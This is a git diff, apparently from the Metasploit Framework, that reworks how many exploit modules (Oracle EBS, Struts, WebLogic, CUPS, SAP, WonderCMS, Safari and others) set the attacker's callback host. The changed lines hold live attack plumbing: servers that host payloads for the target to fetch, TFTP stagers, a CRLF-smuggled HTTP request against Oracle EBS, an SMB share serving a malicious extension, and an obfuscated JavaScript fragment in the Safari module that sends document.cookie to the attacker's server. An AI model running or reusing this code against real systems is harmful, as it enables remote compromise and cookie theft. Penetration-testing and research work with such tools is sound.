'password' => exploit_data[:pass], - 'port' => srvport + 'port' => datastore['SRVPORT'] }, 'actionName' => 'downloadFile', 'context' => { 'remotePath' => "/#{payload_name}", 'localPath' => payload_name } @@ -236,7 +236,7 @@ def exploit } start_ftp_service(exploit_data) - vprint_status("FTP server started on #{bindhost}:#{bindport}") + vprint_status("FTP server started on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") payload_name = trigger_http_request(exploit_data) fail_with(Failure::Unknown, 'Failed to download payload file') unless payload_name diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index c537796a11400..c0404b0fceb98 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -84,6 +84,15 @@ def initialize(info = {}) self.needs_cleanup = true end + def lookup_lhost + # Get the source address + if datastore['SRVHOST'] == '0.0.0.0' + Rex::Socket.source_address('50.50.50.50') + else + datastore['SRVHOST'] + end + end + def on_new_session(session) cmds = [] if @netmask_eth0 @@ -114,9 +123,9 @@ def start_web_service print_status('Setting up the Web Service...') resource_uri = '/' + @elfname + '.elf' - service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}" + service_url = "http://#{lookup_lhost}:#{datastore['SRVPORT']}#{resource_uri}" - print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + print_status("Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb b/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb index 273494892517e..7febf3a585a54 100644 --- a/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb +++ b/modules/exploits/multi/http/oracle_ebs_cve_2025_61882_exploit_rce.rb @@ -79,6 +79,7 @@ def initialize(info = {}) register_options([ Opt::RPORT(8000), OptString.new('TARGETURI', [true, 'Base path to Oracle EBS', '/']), + OptString.new('SRVHOST', [true, 'The local host to listen on for XSL callback', '0.0.0.0']), OptPort.new('SRVPORT', [true, 'The local port to listen on for XSL callback', 8080]), OptInt.new('HTTP_TIMEOUT', [true, 'Time to wait for target to fetch XSL (seconds)', 20]), OptInt.new('SHELL_TIMEOUT', [true, 'Time to wait for shell after XSL delivery (seconds)', 30]) @@ -178,7 +179,7 @@ def exploit @session_created = false # Step 1 : Start HTTP server for XSL file serving - print_status("Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + print_status("Starting HTTP server on #{datastore['SRVHOST']}:#{datastore['SRVPORT']}") start_service( 'Uri' => { 'Proc' => proc { |cli, request| on_request_uri(cli, request) }, @@ -266,10 +267,13 @@ def retrieve_csrf_token end def create_smuggle_payload - netloc = Rex::Socket.to_authority(srvhost_addr, srvport) + srvhost = datastore['SRVHOST'] + srvport = datastore['SRVPORT'] + + srvhost = Rex::Socket.source_address(rhost) if srvhost == '0.0.0.0' smuggle_request = "POST /OA_HTML/help/../ieshostedsurvey.jsp HTTP/1.2\r\n" - smuggle_request += "Host: #{netloc}\r\n" + smuggle_request += "Host: #{srvhost}:#{srvport}\r\n" smuggle_request += "User-Agent: #{Rex::Text.rand_text_alpha(10)}\r\n" smuggle_request += "Connection: keep-alive\r\n" @@ -280,7 +284,7 @@ def create_smuggle_payload # Add POST request via CRLF smuggle_request += "\r\n\r\n\r\nPOST /" - vprint_status("Smuggled request will target: #{netloc}") + vprint_status("Smuggled request will target: #{srvhost}:#{srvport}") vprint_status('Full smuggled request:') vprint_line(smuggle_request) if datastore['VERBOSE'] diff --git a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb index ba40ab67c2d2f..61d402700cb8d 100644 --- a/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb +++ b/modules/exploits/multi/http/rails_dynamic_render_code_exec.rb @@ -161,9 +161,15 @@ def start_http_server @elf_sent = false downfile = rand_text_alpha(8 + rand(8)) resource_uri = '/' + downfile + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end - @service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}" - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + @service_url = "http://#{srv_host}:#{datastore['SRVPORT']}#{resource_uri}" + service_url_payload = srv_host + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| diff --git a/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb b/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb index 0a0092b195b79..0f33a902e707f 100644 --- a/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb +++ b/modules/exploits/multi/http/solarwinds_webhelpdesk_rce.rb @@ -93,7 +93,9 @@ def initialize(info = {}) ) register_options([ - OptString.new('TARGETURI', [true, 'Base path', '/']) + OptString.new('TARGETURI', [true, 'Base path', '/']), + # XXX: Ticket to improve this option across multiple modules: https://github.com/rapid7/metasploit-framework/issues/20986 + OptAddressLocal.new('SRVHOST', [false, 'The local host or network interface to listen on. This must be an address on the local machine.', nil]) ]) end @@ -182,8 +184,17 @@ def get_target_service(session_ctx) # overcome this, we wrap the SMB server mixin in a new Exploit class, and instantiate it separately. return nil unless target['VersionStart'] == '12.8' && session_ctx[:platform] == :windows + # XXX: Determine SRVHOST based on global SRVHOST, RHOST or an arbitrary internet address so that it is a bindable, and hopefully routable address + # Original pattern from: https://github.com/rapid7/metasploit-framework/blob/c0f73038f3fb4f76b4ed8a0c661be35639a9d1fc/lib/msf/core/payload.rb#L474-L475 + # Related: https://github.com/rapid7/metasploit-framework/issues/20986 + srvhost = datastore['SRVHOST'] || Rex::Socket.source_address(datastore['RHOST'] || '50.50.50.50') + + if Rex::Socket.is_ip_addr?(srvhost) && Rex::Socket.addr_atoi(srvhost) == 0 + fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') + end + # NOTE: It has to be TCP port 445 for SMB, so we don't expose this port number to the user as an option. - print_status("Serving a malicious extension over an SMB share on #{bindhost} (SMB on TCP port 445)") + print_status("Serving a malicious extension over an SMB share on #{srvhost} (SMB on TCP port 445)") smb_service = SimpleSMBShareWrapper.new diff --git a/modules/exploits/multi/http/struts_code_exec.rb b/modules/exploits/multi/http/struts_code_exec.rb index 84d8b4bcf706f..861222cbee686 100644 --- a/modules/exploits/multi/http/struts_code_exec.rb +++ b/modules/exploits/multi/http/struts_code_exec.rb @@ -98,8 +98,9 @@ def execute_command(cmd, _opts = {}) end def windows_stager - print_status("Sending request to #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}") - execute_cmdstager({ temp: '.', tftphost: srvhost_addr }) + print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager({ temp: '.', tftphost: tftphost }) @payload_exe = generate_payload_exe print_status('Attempting to execute the payload...') diff --git a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb index 112813d6ca591..4cf33d2d0d488 100644 --- a/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb +++ b/modules/exploits/multi/http/struts_code_exec_exception_delegator.rb @@ -109,8 +109,9 @@ def execute_command(cmd, _opts = {}) def windows_stager rand_text_alphanumeric(rand(4..7)) - print_status("Sending request to #{Rex::Socket.to_authority(datastore['RHOST'], datastore['RPORT'])}") - execute_cmdstager({ temp: '.', tftphost: srvhost_addr }) + print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}") + tftphost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address : datastore['SRVHOST'] + execute_cmdstager({ temp: '.', tftphost: tftphost }) @payload_exe = generate_payload_exe print_status('Attempting to execute the payload...') diff --git a/modules/exploits/multi/http/struts_default_action_mapper.rb b/modules/exploits/multi/http/struts_default_action_mapper.rb index 0207bd2309907..57aec4e2b967c 100644 --- a/modules/exploits/multi/http/struts_default_action_mapper.rb +++ b/modules/exploits/multi/http/struts_default_action_mapper.rb @@ -119,7 +119,14 @@ def on_new_session(session) end def start_http_service - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/...") + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = srv_host + ':' + datastore['SRVPORT'].to_s + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| @@ -130,7 +137,7 @@ def start_http_service 'ssl' => false # do not use SSL }) - return Rex::Socket.to_authority(srvhost_addr, srvport) + return service_url end def check diff --git a/modules/exploits/multi/http/totaljs_cms_widget_exec.rb b/modules/exploits/multi/http/totaljs_cms_widget_exec.rb index 3d0b9c628b0bc..639006684f656 100644 --- a/modules/exploits/multi/http/totaljs_cms_widget_exec.rb +++ b/modules/exploits/multi/http/totaljs_cms_widget_exec.rb @@ -157,9 +157,11 @@ def auth(user, pass) def create_widget(admin_token) platform = target.platform.names.first + host = datastore['SRVHOST'] == '0.0.0.0' ? Rex::Socket::source_address : datastore['SRVHOST'] + port = datastore['SRVPORT'] proto = datastore['SSL'] ? 'https' : 'http' payload_name = "p_#{Rex::Text.rand_text_alpha(5)}" - url = "#{proto}://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{get_resource}/#{payload_name}" + url = "#{proto}://#{host}:#{port}#{get_resource}/#{payload_name}" widget = Widget.new(platform, url, generate_cmdstager( 'Path' => "#{get_resource}/#{payload_name}", 'temp' => '/tmp', diff --git a/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb b/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb index ef5b60e4915c2..e63a90660deb4 100644 --- a/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb +++ b/modules/exploits/multi/http/trendmicro_threat_discovery_admin_sys_time_cmdi.rb @@ -157,9 +157,16 @@ def start_http_server downfile = rand_text_alpha(8 + rand(8)) resource_uri = '/' + downfile - @service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}" + if (datastore['SRVHOST'] == "0.0.0.0" or datastore['SRVHOST'] == "::") + srv_host = datastore['URIHOST'] || Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + @service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + service_url_payload = srv_host + resource_uri - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + print_status("#{rhost}:#{rport} - Starting up our web service on #{@service_url} ...") start_service({ 'Uri' => { 'Proc' => Proc.new { |cli, req| diff --git a/modules/exploits/multi/http/wondercms_rce.rb b/modules/exploits/multi/http/wondercms_rce.rb index 17a86091d6aa4..2c2146f6942c6 100644 --- a/modules/exploits/multi/http/wondercms_rce.rb +++ b/modules/exploits/multi/http/wondercms_rce.rb @@ -143,11 +143,15 @@ def install_malicious_component send_request_cgi!({ 'method' => 'GET', - 'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{srvhost_addr}:#{srvport}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}") + 'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}") }) end def exploit + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.') + end + login create_vulnerable_zip diff --git a/modules/exploits/multi/http/wp_popular_posts_rce.rb b/modules/exploits/multi/http/wp_popular_posts_rce.rb index 71e6d2d5014d5..6984a80504b66 100644 --- a/modules/exploits/multi/http/wp_popular_posts_rce.rb +++ b/modules/exploits/multi/http/wp_popular_posts_rce.rb @@ -391,6 +391,7 @@ def get_widget end def exploit + fail_with(Failure::BadConfig, 'SRVHOST must be set to an IP address (0.0.0.0 is invalid) for exploitation to be successful') if datastore['SRVHOST'] == '0.0.0.0' cookie = wordpress_login(datastore['USERNAME'], datastore['PASSWORD']) if cookie.nil? diff --git a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb index 817ff60876855..715a1a01fb8db 100644 --- a/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb +++ b/modules/exploits/multi/iiop/cve_2023_21839_weblogic_rce.rb @@ -107,7 +107,6 @@ class file will be hosted. Oracle Weblogic will then make a HTTP request to retr register_options( [ Opt::RPORT(7001), - OptAddressRoutable.new('SRVHOST', [false, 'The local host to listen on and use for incoming connections']), OptPort.new('HTTP_SRVPORT', [true, 'The HTTP server port', 8080]) ] ) @@ -300,7 +299,7 @@ def resource_uri # Want to just point this to the base of our install. WebLogic will append *CLASS NAME*.class to the end of # this URL when it tries to fetch the class to be loaded and instantiated. def ldap_url_string - "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(srvhost_addr, datastore['HTTP_SRVPORT'])}/" + "http#{datastore['SSL'] ? 's' : ''}://#{Rex::Socket.to_authority(datastore['SRVHOST'], datastore['HTTP_SRVPORT'])}/" end # @@ -398,6 +397,10 @@ def build_ldap_search_response_payload # Main Exploit def exploit + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + fail_with(Failure::BadConfig, 'SRVHOST must be set to a routable address!') + end + if @version.blank? @version = get_weblogic_version end diff --git a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb index 2317613a6dc20..16fdd91f2be40 100644 --- a/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb +++ b/modules/exploits/multi/misc/cups_ipp_remote_code_execution.rb @@ -179,6 +179,7 @@ def initialize(info = {}) register_options( [ OptString.new('PrinterName', [true, 'The printer name', 'PrintToPDF'], regex: /^[a-zA-Z0-9_ ]+$/), + OptAddress.new('SRVHOST', [true, 'The local host to listen on (cannot be 0.0.0.0)']), OptPort.new('SRVPORT', [true, 'The local port for the IPP service', 7575]) ] ) @@ -187,8 +188,12 @@ def initialize(info = {}) def validate super + if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0 + raise Msf::OptionValidateError.new({ 'SRVHOST' => 'The SRVHOST option must be set to a routable IP address.' }) + end + # Rex::Socket does not support forwarding UDP multicast sockets right now so raise an exception if that's configured - unless _determine_server_comm(srvhost) == Rex::Socket::Comm::Local + unless _determine_server_comm(datastore['SRVHOST']) == Rex::Socket::Comm::Local raise Msf::OptionValidateError.new({ 'SRVHOST' => 'SRVHOST can not be forwarded via a session.' }) end end @@ -509,7 +514,7 @@ def on_dispatch_mdns_request(cli, data) type: 'A', ttl: 30, # The IP address of our malicious HTTP IPP service - address: srvhost + address: datastore['SRVHOST'] )) # SRV record diff --git a/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb b/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb index 2dbd33e187ede..bb200c4d4448d 100644 --- a/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb +++ b/modules/exploits/multi/misc/ibm_tm1_unauth_rce.rb @@ -313,7 +313,7 @@ def update_auth(auth_method, restore: false) # To enable CAM server authentication over SSL, the CAM server certificate has to be previously # imported into the server. Since we can't do this, disable SSL in the fake CAM. srv_config = " IntegratedSecurityMode=#{auth_method}\n" \ - "ServerCAMURI=http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}\n" \ + "ServerCAMURI=http://#{srvhost}:#{srvport}\n" \ "ServerCAMURIRetryAttempts=10\nServerCAMIPVersion=ipv4\n" \ "CAMUseSSL=F\n" end @@ -399,6 +399,11 @@ def restore_auth(app, auth_current) end def exploit + # first let's check if SRVHOST is valid + if datastore['SRVHOST'] == '0.0.0.0' + fail_with(Failure::Unknown, 'Please enter a valid IP address for SRVHOST') + end + # The first step is to query the administrative server to see what apps are available. # This action can be done unauthenticated. We then list all the available app servers # and pick a random one that is currently accepting clients. This step is important diff --git a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb index 4aadf8432947d..08781cbbc85c2 100644 --- a/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb +++ b/modules/exploits/multi/sap/sap_mgmt_con_osexec_payload.rb @@ -216,10 +216,19 @@ def exploit_linux resource_uri = '/' + downfile if (datastore['DOWNHOST']) - service_url = "http://#{Rex::Socket.to_authority(datastore['DOWNHOST'], srvport)}#{resource_uri}" + service_url = 'http://' + datastore['DOWNHOST'] + ':' + datastore['SRVPORT'].to_s + resource_uri else - service_url = "http://#{Rex::Socket.to_authority(srvhost_addr, srvport)}#{resource_uri}" - print_status("#{rhost}:#{rport} - Starting up our web service on http://#{Rex::Socket.to_authority(bindhost, bindport)}/#{resource_uri}...") + + # we use SRVHOST as download IP for the coming wget command. + # SRVHOST needs a real IP address of our download host + if (datastore['SRVHOST'] == '0.0.0.0' or datastore['SRVHOST'] == '::') + srv_host = Rex::Socket.source_address(rhost) + else + srv_host = datastore['SRVHOST'] + end + + service_url = 'http://' + srv_host + ':' + datastore['SRVPORT'].to_s + resource_uri + print_status("#{rhost}:#{rport} - Starting up our web service on #{service_url} ...") start_service({ 'Uri' => { 'Proc' => proc do |cli, req| diff --git a/modules/exploits/osx/browser/safari_file_policy.rb b/modules/exploits/osx/browser/safari_file_policy.rb index 4f4a631d01da7..a17faebb2631c 100644 --- a/modules/exploits/osx/browser/safari_file_policy.rb +++ b/modules/exploits/osx/browser/safari_file_policy.rb @@ -82,13 +82,25 @@ def exploit # Start the FTP server start_service() - print_status("Local FTP: #{bindhost}:#{bindport}") + print_status("Local FTP: #{lookup_lhost}:#{datastore['SRVPORT']}") # Create our own HTTP server # We will stay in this functino until we manually terminate execution start_http() end + # + # Lookup the right address for the client + # + def lookup_lhost(c = nil) + # Get the source address + if datastore['SRVHOST'] == '0.0.0.0' + Rex::Socket.source_address(c || '50.50.50.50') + else + datastore['SRVHOST'] + end + end + # # Override the client connection method and # initialize our payload @@ -164,7 +176,7 @@ def start_http(opts = {}) # Default the server host / port opts = { - 'ServerHost' => srvhost, + 'ServerHost' => datastore['SRVHOST'], 'ServerPort' => datastore['HTTPPORT'], 'Comm' => comm }.update(opts) @@ -265,11 +277,11 @@ def on_request_uri(cli, request) <', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{srvport}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '<', '*/i.src=u/*', '*/new Image;/*', '*/var i=/*', "*/s+h+p+'/'+c;/*", '*/var u=/*', "*/'http://';/*", '*/var s=/*', "*/':#{datastore['SRVPORT']}';/*", '*/var p=/*', '*/a+b;/*', '*/var h=/*', "*/'#{h2}';/*", '*/var b=/*', "*/'#{h1}';/*", '*/var a=/*', '*/d.cookie;/*', '*/var c=/*', '*/document;/*', '*/var d=/*', '